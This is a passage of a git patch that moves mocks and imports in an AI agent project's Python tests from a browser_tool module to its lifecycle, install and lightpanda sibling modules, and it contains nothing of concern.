From da7ee6353e57b981f6e2d29e84753732e5930b89 Mon Sep 17 00:00:00 2001 From: Teknium <127238744+teknium1@users.noreply.github.com> Date: Thu, 3 Sep 2026 14:18:25 -0700 Subject: [PATCH] =?UTF-8?q?simplify(compat):=20tools/browser=5Ftool=20test?= =?UTF-8?q?s=20=E2=80=94=20repoint=2056=20test=20files=20from=20tools.brow?= =?UTF-8?q?ser=5Ftool.=20to=20the=20defining=20browser=5Ftool=5F*=20?= =?UTF-8?q?sibling=20(patch=20where=20the=20name=20is=20looked=20up)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/agent/test_treekill_consolidation.py | 9 +- tests/agent/test_vision_routing_31179.py | 5 +- tests/gateway/test_agent_cache.py | 8 +- .../test_api_server_active_work_drain.py | 7 +- tests/gateway/test_clean_shutdown_marker.py | 2 +- tests/gateway/test_cron_active_work_drain.py | 4 +- .../test_cron_interrupt_notification.py | 4 +- tests/gateway/test_gateway_shutdown.py | 4 +- .../test_hygiene_deferred_work_drain.py | 2 +- tests/gateway/test_send_image_file.py | 6 +- tests/hermes_cli/test_dep_ensure.py | 24 +- tests/hermes_cli/test_doctor.py | 13 +- tests/hermes_cli/test_doctor_live.py | 12 +- tests/hermes_cli/test_nous_subscription.py | 31 ++- tests/hermes_cli/test_setup_model_provider.py | 6 +- tests/hermes_cli/test_tools_config.py | 74 +++--- tests/plugins/browser/check_parity_vs_main.py | 4 +- ...test_windows_subprocess_no_window_flags.py | 12 +- tests/tools/test_browser_camofox.py | 2 +- ...test_browser_camofox_private_page_guard.py | 13 +- tests/tools/test_browser_cdp_override.py | 38 +-- tests/tools/test_browser_cdp_tool.py | 36 ++- .../test_browser_chromium_autoinstall.py | 46 ++-- tests/tools/test_browser_chromium_check.py | 25 +- tests/tools/test_browser_cleanup.py | 29 +-- tests/tools/test_browser_cloud_fallback.py | 24 +- .../test_browser_cloud_provider_cache.py | 35 +-- tests/tools/test_browser_console.py | 48 ++-- tests/tools/test_browser_console_ssrf.py | 22 +- tests/tools/test_browser_eval_ssrf.py | 37 +-- .../test_browser_eval_supervisor_path.py | 7 +- tests/tools/test_browser_extension_router.py | 7 +- tests/tools/test_browser_get_images_ssrf.py | 18 +- tests/tools/test_browser_hardening.py | 39 +-- tests/tools/test_browser_headed_mode.py | 39 +-- tests/tools/test_browser_homebrew_paths.py | 128 +++++----- tests/tools/test_browser_hybrid_routing.py | 39 +-- tests/tools/test_browser_lightpanda.py | 236 +++++++++--------- tests/tools/test_browser_lightpanda_serve.py | 6 +- tests/tools/test_browser_npx_warmup.py | 48 ++-- tests/tools/test_browser_open_timeout.py | 52 ++-- tests/tools/test_browser_orphan_reaper.py | 100 ++++---- .../test_browser_private_page_action_guard.py | 40 +-- tests/tools/test_browser_real_profile.py | 180 +++++++------ tests/tools/test_browser_secret_exfil.py | 24 +- tests/tools/test_browser_snapshot_ssrf.py | 84 ++++--- .../tools/test_browser_snapshot_threshold.py | 17 +- tests/tools/test_browser_ssrf_local.py | 72 +++--- tests/tools/test_browser_suspect_recycle.py | 82 +++--- tests/tools/test_browser_type_redaction.py | 6 +- tests/tools/test_browser_use_cli.py | 103 ++++---- .../tools/test_browser_use_session_expiry.py | 22 +- .../test_managed_browserbase_and_modal.py | 7 +- tests/tools/test_terminal_scope_multiplex.py | 3 +- tests/tools/test_web_providers.py | 2 +- tests/tools/test_zombie_process_cleanup.py | 2 +- 56 files changed, 979 insertions(+), 966 deletions(-) diff --git a/tests/agent/test_treekill_consolidation.py b/tests/agent/test_treekill_consolidation.py index cfffa0aaa3..6784bd63db 100644 --- a/tests/agent/test_treekill_consolidation.py +++ b/tests/agent/test_treekill_consolidation.py @@ -7,7 +7,7 @@ termination through :func:`agent.deadline.kill_process_tree`: * ``hermes_cli._subprocess_compat.kill_process_tree(proc)`` — also consumed by ``agent.shell_hooks`` by name; falls back to ``_legacy_kill_process_tree`` when delegation fails. -* ``tools.browser_tool._kill_process_tree(proc)`` — same pattern. +* ``tools.browser_tool_lifecycle._kill_process_tree(proc)`` — same pattern. * ``tools.code_execution_tool._kill_process_group(proc, escalate=...)`` — SIGTERM tree first, then (escalate) bounded wait + SIGKILL tree. @@ -26,6 +26,7 @@ from unittest.mock import MagicMock import pytest import agent.deadline as deadline_mod +from tools import browser_tool_lifecycle as bt_lifecycle class _FakeProc: @@ -76,7 +77,7 @@ class TestSubprocessCompatDelegation: # --------------------------------------------------------------------------- -# (2) tools.browser_tool._kill_process_tree +# (2) tools.browser_tool_lifecycle._kill_process_tree # --------------------------------------------------------------------------- class TestBrowserToolDelegation: @@ -88,7 +89,7 @@ class TestBrowserToolDelegation: deadline_mod, "kill_process_tree", lambda pid, **kw: calls.append(pid) or True ) proc = _FakeProc(pid=3333) - assert browser_tool._kill_process_tree(proc) is None + assert bt_lifecycle._kill_process_tree(proc) is None assert calls == [3333] def test_swallows_delegation_raise_and_falls_back_to_legacy(self, monkeypatch): @@ -103,7 +104,7 @@ class TestBrowserToolDelegation: "tools.browser_tool_lifecycle._legacy_kill_process_tree", lambda proc: legacy_calls.append(proc) ) proc = _FakeProc(pid=4444) - browser_tool._kill_process_tree(proc) # must not raise + bt_lifecycle._kill_process_tree(proc) # must not raise assert legacy_calls == [proc] diff --git a/tests/agent/test_vision_routing_31179.py b/tests/agent/test_vision_routing_31179.py index f510bbe6ab..5cd106dbc6 100644 --- a/tests/agent/test_vision_routing_31179.py +++ b/tests/agent/test_vision_routing_31179.py @@ -31,6 +31,7 @@ import sys import tempfile import pytest +from tools import browser_tool_install as bt_install # --------------------------------------------------------------------------- @@ -254,5 +255,5 @@ model: _fresh_modules() import tools.browser_tool - with patch.object(tools.browser_tool, "check_browser_requirements", return_value=True): - assert tools.browser_tool.check_browser_vision_requirements() is True + with patch.object(bt_install, "check_browser_requirements", return_value=True): + assert tools.browser_tool_install.check_browser_vision_requirements() is True diff --git a/tests/gateway/test_agent_cache.py b/tests/gateway/test_agent_cache.py index 786611c107..2430816faa 100644 --- a/tests/gateway/test_agent_cache.py +++ b/tests/gateway/test_agent_cache.py @@ -13,6 +13,7 @@ import threading from unittest.mock import MagicMock, patch import pytest +from tools import browser_tool_lifecycle as bt_lifecycle def _make_runner(): @@ -651,7 +652,6 @@ class TestAgentCacheIdleResume: """release_clients must not call cleanup_vm or cleanup_browser.""" from run_agent import AIAgent from tools import terminal_tool_lifecycle as _tt - from tools import browser_tool as _bt agent = AIAgent( model="anthropic/claude-sonnet-4", api_key="test", @@ -664,14 +664,14 @@ class TestAgentCacheIdleResume: vm_calls: list = [] browser_calls: list = [] original_vm = _tt.cleanup_vm - original_browser = _bt.cleanup_browser + original_browser = bt_lifecycle.cleanup_browser _tt.cleanup_vm = lambda tid: vm_calls.append(tid) - _bt.cleanup_browser = lambda tid: browser_calls.append(tid) + bt_lifecycle.cleanup_browser = lambda tid: browser_calls.append(tid) try: agent.release_clients() finally: _tt.cleanup_vm = original_vm - _bt.cleanup_browser = original_browser + bt_lifecycle.cleanup_browser = original_browser try: agent.close() except Exception: diff --git a/tests/gateway/test_api_server_active_work_drain.py b/tests/gateway/test_api_server_active_work_drain.py index 28740e4d30..703977e40f 100644 --- a/tests/gateway/test_api_server_active_work_drain.py +++ b/tests/gateway/test_api_server_active_work_drain.py @@ -21,6 +21,7 @@ from gateway.platforms.api_server import APIServerAdapter from gateway.run import _INTERRUPT_REASON_GATEWAY_SHUTDOWN from hermes_state import SessionDB from tests.gateway.restart_test_helpers import make_restart_runner +from tools import browser_tool_lifecycle as bt_lifecycle # Safety net so a regression parks the executor thread forever instead of # hanging CI. No assertion below depends on elapsed time. @@ -520,7 +521,6 @@ class TestShutdownSettleWindow: which it always is for API turns — and the post-interrupt tool kill lands on a turn that was asked to stop microseconds earlier. """ - import tools.browser_tool as _bt import tools.process_registry as _pr import tools.terminal_tool as _tt @@ -538,7 +538,7 @@ class TestShutdownSettleWindow: monkeypatch.setattr(_pr.process_registry, "kill_all", _spy_kill_all) monkeypatch.setattr(_tt, "cleanup_all_environments", lambda: None) - monkeypatch.setattr(_bt, "cleanup_all_browsers", lambda: None) + monkeypatch.setattr(bt_lifecycle, "cleanup_all_browsers", lambda: None) with patch("gateway.status.remove_pid_file"), \ patch("gateway.status.write_runtime_status"), \ @@ -564,7 +564,6 @@ class TestShutdownSettleWindow: and previously went straight to the tool-subprocess kill. The settle loop must re-signal when API work is still live at exit. """ - import tools.browser_tool as _bt import tools.process_registry as _pr import tools.terminal_tool as _tt @@ -576,7 +575,7 @@ class TestShutdownSettleWindow: monkeypatch.setattr(_pr.process_registry, "kill_all", lambda task_id=None: 0) monkeypatch.setattr(_tt, "cleanup_all_environments", lambda: None) - monkeypatch.setattr(_bt, "cleanup_all_browsers", lambda: None) + monkeypatch.setattr(bt_lifecycle, "cleanup_all_browsers", lambda: None) # Accelerate the loop clock: each time() call advances 1s of virtual # time, so the 5s settle deadline expires after a handful of polls diff --git a/tests/gateway/test_clean_shutdown_marker.py b/tests/gateway/test_clean_shutdown_marker.py index cfcd9f31f4..03e3d4ebb2 100644 --- a/tests/gateway/test_clean_shutdown_marker.py +++ b/tests/gateway/test_clean_shutdown_marker.py @@ -93,7 +93,7 @@ class TestCleanShutdownMarker: patch("gateway.status.remove_pid_file"), \ patch("tools.process_registry.process_registry") as mock_proc_reg, \ patch("tools.terminal_tool.cleanup_all_environments"), \ - patch("tools.browser_tool.cleanup_all_browsers"): + patch("tools.browser_tool_lifecycle.cleanup_all_browsers"): mock_proc_reg.kill_all = MagicMock() import asyncio diff --git a/tests/gateway/test_cron_active_work_drain.py b/tests/gateway/test_cron_active_work_drain.py index b3f3f6dfb8..ac524e268a 100644 --- a/tests/gateway/test_cron_active_work_drain.py +++ b/tests/gateway/test_cron_active_work_drain.py @@ -23,6 +23,7 @@ from unittest.mock import MagicMock, patch import pytest from tests.gateway.restart_test_helpers import make_restart_runner +from tools import browser_tool_lifecycle as bt_lifecycle @pytest.fixture(autouse=True) @@ -83,7 +84,6 @@ class TestKillToolSubprocessesMarksCronInterrupted: import cron.scheduler as sched import tools.process_registry as _pr import tools.terminal_tool as _tt - import tools.browser_tool as _bt runner, adapter = make_restart_runner() runner._restart_drain_timeout = 0.01 # force the timeout path @@ -97,7 +97,7 @@ class TestKillToolSubprocessesMarksCronInterrupted: monkeypatch.setattr(_pr.process_registry, "kill_all", lambda task_id=None: 1) monkeypatch.setattr(_tt, "cleanup_all_environments", lambda: None) - monkeypatch.setattr(_bt, "cleanup_all_browsers", lambda: None) + monkeypatch.setattr(bt_lifecycle, "cleanup_all_browsers", lambda: None) marked_calls = [] real_mark = sched.mark_running_jobs_interrupted diff --git a/tests/gateway/test_cron_interrupt_notification.py b/tests/gateway/test_cron_interrupt_notification.py index ad65f56597..060706d1b6 100644 --- a/tests/gateway/test_cron_interrupt_notification.py +++ b/tests/gateway/test_cron_interrupt_notification.py @@ -19,6 +19,7 @@ import pytest from gateway.config import Platform from tests.gateway.restart_test_helpers import make_restart_runner +from tools import browser_tool_lifecycle as bt_lifecycle @pytest.fixture(autouse=True) @@ -199,7 +200,6 @@ class TestShutdownDeliversNoticeBeforeDisconnect: """The whole point is ordering: a notice sent after teardown is lost, which is the bug.""" import cron.scheduler as sched - import tools.browser_tool as _bt import tools.process_registry as _pr import tools.terminal_tool as _tt @@ -209,7 +209,7 @@ class TestShutdownDeliversNoticeBeforeDisconnect: monkeypatch.setattr(_pr.process_registry, "kill_all", lambda task_id=None: 1) monkeypatch.setattr(_tt, "cleanup_all_environments", lambda: None) - monkeypatch.setattr(_bt, "cleanup_all_browsers", lambda: None) + monkeypatch.setattr(bt_lifecycle, "cleanup_all_browsers", lambda: None) events: list[str] = [] real_send = adapter.send diff --git a/tests/gateway/test_gateway_shutdown.py b/tests/gateway/test_gateway_shutdown.py index 4dd94373fe..41cab9217c 100644 --- a/tests/gateway/test_gateway_shutdown.py +++ b/tests/gateway/test_gateway_shutdown.py @@ -10,6 +10,7 @@ from gateway.platforms.base import MessageEvent from gateway.restart import DEFAULT_GATEWAY_POST_INTERRUPT_GRACE_TIMEOUT, GATEWAY_SERVICE_RESTART_EXIT_CODE from gateway.session import build_session_key from tests.gateway.restart_test_helpers import make_restart_runner, make_restart_source +from tools import browser_tool_lifecycle as bt_lifecycle @pytest.mark.asyncio @@ -272,10 +273,9 @@ async def test_gateway_stop_kills_tool_subprocesses_before_adapter_disconnect_on # Patch the module-level names the stop() helper imports lazily. import tools.process_registry as _pr import tools.terminal_tool as _tt - import tools.browser_tool as _bt monkeypatch.setattr(_pr.process_registry, "kill_all", _fake_kill_all) monkeypatch.setattr(_tt, "cleanup_all_environments", _fake_cleanup_envs) - monkeypatch.setattr(_bt, "cleanup_all_browsers", _fake_cleanup_browsers) + monkeypatch.setattr(bt_lifecycle, "cleanup_all_browsers", _fake_cleanup_browsers) adapter.disconnect = _disconnect diff --git a/tests/gateway/test_hygiene_deferred_work_drain.py b/tests/gateway/test_hygiene_deferred_work_drain.py index 51d85a7fab..99be4e46f8 100644 --- a/tests/gateway/test_hygiene_deferred_work_drain.py +++ b/tests/gateway/test_hygiene_deferred_work_drain.py @@ -142,7 +142,7 @@ async def test_stop_interrupts_deferred_worker_before_teardown(): patch("cron.scheduler.mark_job_run"), patch("tools.process_registry.process_registry.kill_all", return_value=0), patch("tools.terminal_tool.cleanup_all_environments"), - patch("tools.browser_tool.cleanup_all_browsers"), + patch("tools.browser_tool_lifecycle.cleanup_all_browsers"), ): await runner.stop() diff --git a/tests/gateway/test_send_image_file.py b/tests/gateway/test_send_image_file.py index 374dc1dd5c..6623e2f0b1 100644 --- a/tests/gateway/test_send_image_file.py +++ b/tests/gateway/test_send_image_file.py @@ -223,7 +223,8 @@ class TestScreenshotCleanup: def test_cleanup_removes_old_screenshots(self, tmp_path): """_cleanup_old_screenshots should remove files older than max_age_hours.""" import time - from tools.browser_tool import _cleanup_old_screenshots, _last_screenshot_cleanup_by_dir + from tools.browser_tool_lifecycle import _cleanup_old_screenshots + from tools.browser_tool import _last_screenshot_cleanup_by_dir _last_screenshot_cleanup_by_dir.clear() @@ -244,7 +245,8 @@ class TestScreenshotCleanup: def test_cleanup_is_throttled_per_directory(self, tmp_path): import time - from tools.browser_tool import _cleanup_old_screenshots, _last_screenshot_cleanup_by_dir + from tools.browser_tool_lifecycle import _cleanup_old_screenshots + from tools.browser_tool import _last_screenshot_cleanup_by_dir _last_screenshot_cleanup_by_dir.clear() diff --git a/tests/hermes_cli/test_dep_ensure.py b/tests/hermes_cli/test_dep_ensure.py index 17b37d1f5d..3487c845d3 100644 --- a/tests/hermes_cli/test_dep_ensure.py +++ b/tests/hermes_cli/test_dep_ensure.py @@ -1,6 +1,7 @@ from unittest.mock import patch import pytest +from tools import browser_tool_install as bt_install @pytest.mark.linux_only @@ -31,35 +32,32 @@ def test_has_npx_agent_browser_true_when_npx_resolves(): — _has_npx_agent_browser mirrors the runtime cascade so the "browser" dep check doesn't wrongly report it missing.""" from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt - with patch.object(bt, "_find_agent_browser", return_value="npx agent-browser"), \ - patch.object(bt, "_requires_real_termux_browser_install", return_value=False): + with patch.object(bt_install, "_find_agent_browser", return_value="npx agent-browser"), \ + patch.object(bt_install, "_requires_real_termux_browser_install", return_value=False): assert _has_npx_agent_browser() is True def test_has_npx_agent_browser_false_on_termux_local_bare_npx(): from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt - with patch.object(bt, "_find_agent_browser", return_value="npx agent-browser"), \ - patch.object(bt, "_requires_real_termux_browser_install", return_value=True): + with patch.object(bt_install, "_find_agent_browser", return_value="npx agent-browser"), \ + patch.object(bt_install, "_requires_real_termux_browser_install", return_value=True): assert _has_npx_agent_browser() is False def test_has_npx_agent_browser_false_when_nothing_resolves(): from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt def _raise(**_kw): raise FileNotFoundError("agent-browser CLI not found") - with patch.object(bt, "_find_agent_browser", _raise): + with patch.object(bt_install, "_find_agent_browser", _raise): assert _has_npx_agent_browser() is False def test_find_agent_browser_lazy_install_cycle_terminates(monkeypatch): - """tools.browser_tool._find_agent_browser's "nothing found" branch calls + """tools.browser_tool_install._find_agent_browser's "nothing found" branch calls ensure_dependency("browser"), whose "browser" check now includes _has_npx_agent_browser() -> _find_agent_browser(validate=False) again. That nested call must NOT be able to trigger another ensure_dependency @@ -73,22 +71,22 @@ def test_find_agent_browser_lazy_install_cycle_terminates(monkeypatch): monkeypatch.setattr(bt, "_cached_agent_browser", None) monkeypatch.setattr(bt, "_agent_browser_resolved", False) monkeypatch.setattr(shutil, "which", lambda *a, **k: None) - monkeypatch.setattr(bt, "_resolve_npx_bin", lambda: None) + monkeypatch.setattr("tools.browser_tool_install._resolve_npx_bin", lambda: None) monkeypatch.setattr(dep_ensure, "_has_system_browser", lambda: False) monkeypatch.setattr(dep_ensure, "_has_hermes_agent_browser", lambda: False) monkeypatch.setattr(dep_ensure, "_find_install_script", lambda *a, **k: (None, None)) - real_find_agent_browser = bt._find_agent_browser + real_find_agent_browser = bt_install._find_agent_browser validate_calls = [] def counting_find_agent_browser(*, validate=True): validate_calls.append(validate) return real_find_agent_browser(validate=validate) - monkeypatch.setattr(bt, "_find_agent_browser", counting_find_agent_browser) + monkeypatch.setattr(bt_install, "_find_agent_browser", counting_find_agent_browser) with pytest.raises(FileNotFoundError): - bt._find_agent_browser(validate=True) + bt_install._find_agent_browser(validate=True) # One outer validate=True call, plus exactly one bounded nested # validate=False rescan from _has_npx_agent_browser inside diff --git a/tests/hermes_cli/test_doctor.py b/tests/hermes_cli/test_doctor.py index 10fd7c5ef9..9b4cee69bc 100644 --- a/tests/hermes_cli/test_doctor.py +++ b/tests/hermes_cli/test_doctor.py @@ -23,6 +23,7 @@ from hermes_cli import doctor_tools from hermes_cli import doctor_state from hermes_cli import doctor_platform from hermes_cli import doctor_config +from tools import browser_tool_install as bt_install class TestDoctorPlatformHints: @@ -829,8 +830,7 @@ def test_run_doctor_reports_agent_browser_resolves_via_npx(monkeypatch, tmp_path this is the expected common case now, not a warning).""" _doctor_env_for_agent_browser(monkeypatch, tmp_path) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "npx agent-browser") warm_calls = [] monkeypatch.setattr( "tools.browser_tool_install.warm_agent_browser_npx_cache", lambda *a, **kw: warm_calls.append(1) or True @@ -855,8 +855,7 @@ def test_run_doctor_fix_warms_npx_cache_when_agent_browser_resolves_via_npx( when agent-browser resolves via npx, and report success.""" _doctor_env_for_agent_browser(monkeypatch, tmp_path) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "npx agent-browser") warm_calls = [] monkeypatch.setattr( "tools.browser_tool_install.warm_agent_browser_npx_cache", lambda *a, **kw: warm_calls.append(1) or True @@ -878,8 +877,7 @@ def test_run_doctor_fix_reports_when_npx_warmup_fails(monkeypatch, tmp_path): claiming success — and must not count it as a fix.""" _doctor_env_for_agent_browser(monkeypatch, tmp_path) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "npx agent-browser") monkeypatch.setattr("tools.browser_tool_install.warm_agent_browser_npx_cache", lambda *a, **kw: False) buf = io.StringIO() @@ -1714,7 +1712,6 @@ class TestMacOSTCCGrants: def test_run_doctor_reports_shadowed_lightpanda_engine(monkeypatch, tmp_path): helper = TestDoctorMemoryProviderSection() - import tools.browser_tool as bt monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) monkeypatch.setattr( @@ -1728,7 +1725,6 @@ def test_run_doctor_reports_shadowed_lightpanda_engine(monkeypatch, tmp_path): def test_run_doctor_reports_lightpanda_ok(monkeypatch, tmp_path): helper = TestDoctorMemoryProviderSection() - import tools.browser_tool as bt monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) monkeypatch.setattr("tools.browser_tool_lightpanda_fallback.lightpanda_engine_status", lambda: (True, "Browser Use mode")) @@ -1740,7 +1736,6 @@ def test_run_doctor_reports_lightpanda_ok(monkeypatch, tmp_path): def test_run_doctor_warns_when_lightpanda_binary_missing(monkeypatch, tmp_path): helper = TestDoctorMemoryProviderSection() - import tools.browser_tool as bt monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) monkeypatch.setattr("tools.browser_tool_lightpanda_fallback.lightpanda_engine_status", lambda: (True, "Browser Use mode")) diff --git a/tests/hermes_cli/test_doctor_live.py b/tests/hermes_cli/test_doctor_live.py index 87b3ba536b..48d4efba0e 100644 --- a/tests/hermes_cli/test_doctor_live.py +++ b/tests/hermes_cli/test_doctor_live.py @@ -16,6 +16,7 @@ from hermes_cli.doctor_live import ( maybe_run_live_checks, run_live_checks, ) +from tools import browser_tool_install as bt_install # Captured before the autouse fixture below stubs doctor_live._browser_available # to a constant, so TestBrowserAvailableNpxRung can exercise the real function. @@ -202,20 +203,18 @@ class TestBrowserAvailableNpxRung: def test_true_when_npx_resolves_agent_browser(self, monkeypatch, tmp_path): self._block_path_and_node_modules_checks(monkeypatch, tmp_path) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "npx agent-browser") assert _real_browser_available() is True def test_false_when_nothing_resolves(self, monkeypatch, tmp_path): self._block_path_and_node_modules_checks(monkeypatch, tmp_path) - import tools.browser_tool as bt def _raise(**_kw): raise FileNotFoundError("agent-browser CLI not found") - monkeypatch.setattr(bt, "_find_agent_browser", _raise) + monkeypatch.setattr(bt_install, "_find_agent_browser", _raise) assert _real_browser_available() is False @@ -224,10 +223,9 @@ class TestBrowserAvailableNpxRung: advertise as ready — must not diverge from dep_ensure/nous_subscription's same carve-out.""" self._block_path_and_node_modules_checks(monkeypatch, tmp_path) - import tools.browser_tool as bt - monkeypatch.setattr(bt, "_find_agent_browser", lambda **_kw: "npx agent-browser") - monkeypatch.setattr(bt, "_requires_real_termux_browser_install", lambda cmd: True) + monkeypatch.setattr(bt_install, "_find_agent_browser", lambda **_kw: "npx agent-browser") + monkeypatch.setattr("tools.browser_tool_install._requires_real_termux_browser_install", lambda cmd: True) assert _real_browser_available() is False diff --git a/tests/hermes_cli/test_nous_subscription.py b/tests/hermes_cli/test_nous_subscription.py index 61a0a8c736..2f82c8ba28 100644 --- a/tests/hermes_cli/test_nous_subscription.py +++ b/tests/hermes_cli/test_nous_subscription.py @@ -6,6 +6,7 @@ import sys from hermes_cli.nous_account import NousPortalAccountInfo, NousToolAccessInfo from hermes_cli import nous_subscription as ns from tools import tool_backend_helpers +from tools import browser_tool_install as bt_install _POOL_COVERAGE = { @@ -124,7 +125,7 @@ def _stub_browser_probes(monkeypatch, *, has_agent_browser, chromium, lightpanda """Common monkeypatches for local-browser readiness scenarios. ``chromium`` / ``lightpanda`` drive the runtime probes that - ``_local_browser_runnable`` reuses from ``tools.browser_tool`` (lazy import, + ``_local_browser_runnable`` reuses from the ``tools.browser_tool_*`` siblings (lazy import, so patching the module attributes is enough). """ monkeypatch.setattr(ns, "get_env_value", lambda name: "") @@ -136,9 +137,9 @@ def _stub_browser_probes(monkeypatch, *, has_agent_browser, chromium, lightpanda monkeypatch.setattr(ns, "resolve_openai_audio_api_key", lambda: "") monkeypatch.setattr(ns, "has_direct_modal_credentials", lambda: False) monkeypatch.setattr(ns, "is_managed_tool_gateway_ready", lambda vendor: False) - monkeypatch.setattr("tools.browser_tool._chromium_installed", lambda: chromium) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: chromium) monkeypatch.setattr( - "tools.browser_tool._using_lightpanda_engine", lambda: lightpanda + "tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: lightpanda ) @@ -471,7 +472,6 @@ def test_has_agent_browser_true_for_npx_only_resolution(monkeypatch): """No PATH binary and no runnable node_modules copy, but the browser_tool cascade resolves the npx fallback: browser capability is available.""" _block_legacy_agent_browser_checks(monkeypatch) - import tools.browser_tool as browser_tool calls = [] @@ -479,9 +479,9 @@ def test_has_agent_browser_true_for_npx_only_resolution(monkeypatch): calls.append({"validate": validate}) return "npx agent-browser" - monkeypatch.setattr(browser_tool, "_find_agent_browser", fake_find_agent_browser) + monkeypatch.setattr(bt_install, "_find_agent_browser", fake_find_agent_browser) monkeypatch.setattr( - browser_tool, "_requires_real_termux_browser_install", lambda cmd: False + "tools.browser_tool_install._requires_real_termux_browser_install", lambda cmd: False ) assert ns._has_agent_browser() is True @@ -492,16 +492,14 @@ def test_has_agent_browser_true_for_npx_only_resolution(monkeypatch): def test_has_agent_browser_false_for_termux_local_bare_npx(monkeypatch): """On Termux in local mode the bare npx fallback is not a usable install.""" _block_legacy_agent_browser_checks(monkeypatch) - import tools.browser_tool as browser_tool monkeypatch.setattr( - browser_tool, + bt_install, "_find_agent_browser", lambda *, validate=True: "npx agent-browser", ) monkeypatch.setattr( - browser_tool, - "_requires_real_termux_browser_install", + "tools.browser_tool_install._requires_real_termux_browser_install", lambda cmd: cmd.strip() == "npx agent-browser", ) @@ -510,20 +508,19 @@ def test_has_agent_browser_false_for_termux_local_bare_npx(monkeypatch): def test_has_agent_browser_false_when_nothing_resolvable(monkeypatch): _block_legacy_agent_browser_checks(monkeypatch) - import tools.browser_tool as browser_tool def raise_not_found(*, validate=True): raise FileNotFoundError("agent-browser CLI not found") - monkeypatch.setattr(browser_tool, "_find_agent_browser", raise_not_found) + monkeypatch.setattr(bt_install, "_find_agent_browser", raise_not_found) assert ns._has_agent_browser() is False def test_has_agent_browser_import_failure_falls_back_to_path_check(monkeypatch): - """If tools.browser_tool cannot be imported, the old PATH + node_modules + """If tools.browser_tool_install cannot be imported, the old PATH + node_modules check must still answer (prior behaviour), not crash.""" - monkeypatch.setitem(sys.modules, "tools.browser_tool", None) + monkeypatch.setitem(sys.modules, "tools.browser_tool_install", None) real_which = shutil.which monkeypatch.setattr( shutil, @@ -545,11 +542,11 @@ def test_has_agent_browser_import_failure_falls_back_to_path_check(monkeypatch): def test_has_agent_browser_import_failure_falls_back_to_hermes_managed_node_path( monkeypatch, tmp_path ): - """If tools.browser_tool cannot be imported, the managed-Node rung must + """If tools.browser_tool_install cannot be imported, the managed-Node rung must still find a runnable agent-browser under the Hermes Node dir even when it's absent from the probe process's PATH — the Windows installer shape where install succeeded but the GUI still said needs setup.""" - monkeypatch.setitem(sys.modules, "tools.browser_tool", None) + monkeypatch.setitem(sys.modules, "tools.browser_tool_install", None) managed_dir = tmp_path / "node" managed_dir.mkdir() managed_bin = managed_dir / "agent-browser" @@ -578,7 +575,7 @@ def test_has_agent_browser_import_failure_falls_back_to_hermes_managed_node_path def test_has_agent_browser_import_failure_and_no_binary_is_false(monkeypatch): - monkeypatch.setitem(sys.modules, "tools.browser_tool", None) + monkeypatch.setitem(sys.modules, "tools.browser_tool_install", None) _block_legacy_agent_browser_checks(monkeypatch) assert ns._has_agent_browser() is False diff --git a/tests/hermes_cli/test_setup_model_provider.py b/tests/hermes_cli/test_setup_model_provider.py index 76cf7890cd..15928f1428 100644 --- a/tests/hermes_cli/test_setup_model_provider.py +++ b/tests/hermes_cli/test_setup_model_provider.py @@ -137,7 +137,7 @@ def test_setup_summary_local_browser_unavailable_without_chromium( Unlike the mocked-feature tests above, this drives the real ``get_nous_subscription_features`` so the surface stays aligned with the - runtime gate in ``tools.browser_tool.check_browser_requirements``. + runtime gate in ``tools.browser_tool_install.check_browser_requirements``. """ monkeypatch.setenv("HERMES_HOME", str(tmp_path)) _clear_provider_env(monkeypatch) @@ -156,8 +156,8 @@ def test_setup_summary_local_browser_unavailable_without_chromium( "hermes_cli.nous_subscription.get_nous_portal_account_info", lambda *a, **k: None, ) - monkeypatch.setattr("tools.browser_tool._chromium_installed", lambda: False) - monkeypatch.setattr("tools.browser_tool._using_lightpanda_engine", lambda: False) + monkeypatch.setattr("tools.browser_tool_install._chromium_installed", lambda: False) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: False) monkeypatch.setattr( "agent.auxiliary_client.get_available_vision_backends", lambda: [] ) diff --git a/tests/hermes_cli/test_tools_config.py b/tests/hermes_cli/test_tools_config.py index f69dadf624..5af3c3e37c 100644 --- a/tests/hermes_cli/test_tools_config.py +++ b/tests/hermes_cli/test_tools_config.py @@ -377,7 +377,7 @@ class TestAgentBrowserPostSetup: agent-browser is no longer a root package.json dependency (there's no local `npm install` step anymore); it resolves at runtime via - tools.browser_tool._find_agent_browser (PATH -> Homebrew/Hermes-managed + tools.browser_tool_install._find_agent_browser (PATH -> Homebrew/Hermes-managed node -> local .bin -> npx). This class exercises the Chromium-install branch of _run_post_setup, which now delegates to that same resolution cascade instead of hand-rolling its own node_modules/.bin/agent-browser @@ -410,7 +410,7 @@ class TestAgentBrowserPostSetup: with patch("shutil.which", return_value="/usr/bin/npx"), patch( "subprocess.run" ) as run, patch( - "tools.browser_tool._chromium_installed" + "tools.browser_tool_install._chromium_installed" ) as chromium_check: _run_post_setup("browserbase") @@ -419,11 +419,11 @@ class TestAgentBrowserPostSetup: def test_chromium_already_installed_skips_subprocess(self): with patch("shutil.which", return_value="/usr/bin/npx"), patch( - "tools.browser_tool.node_tool_runnable", return_value=True + 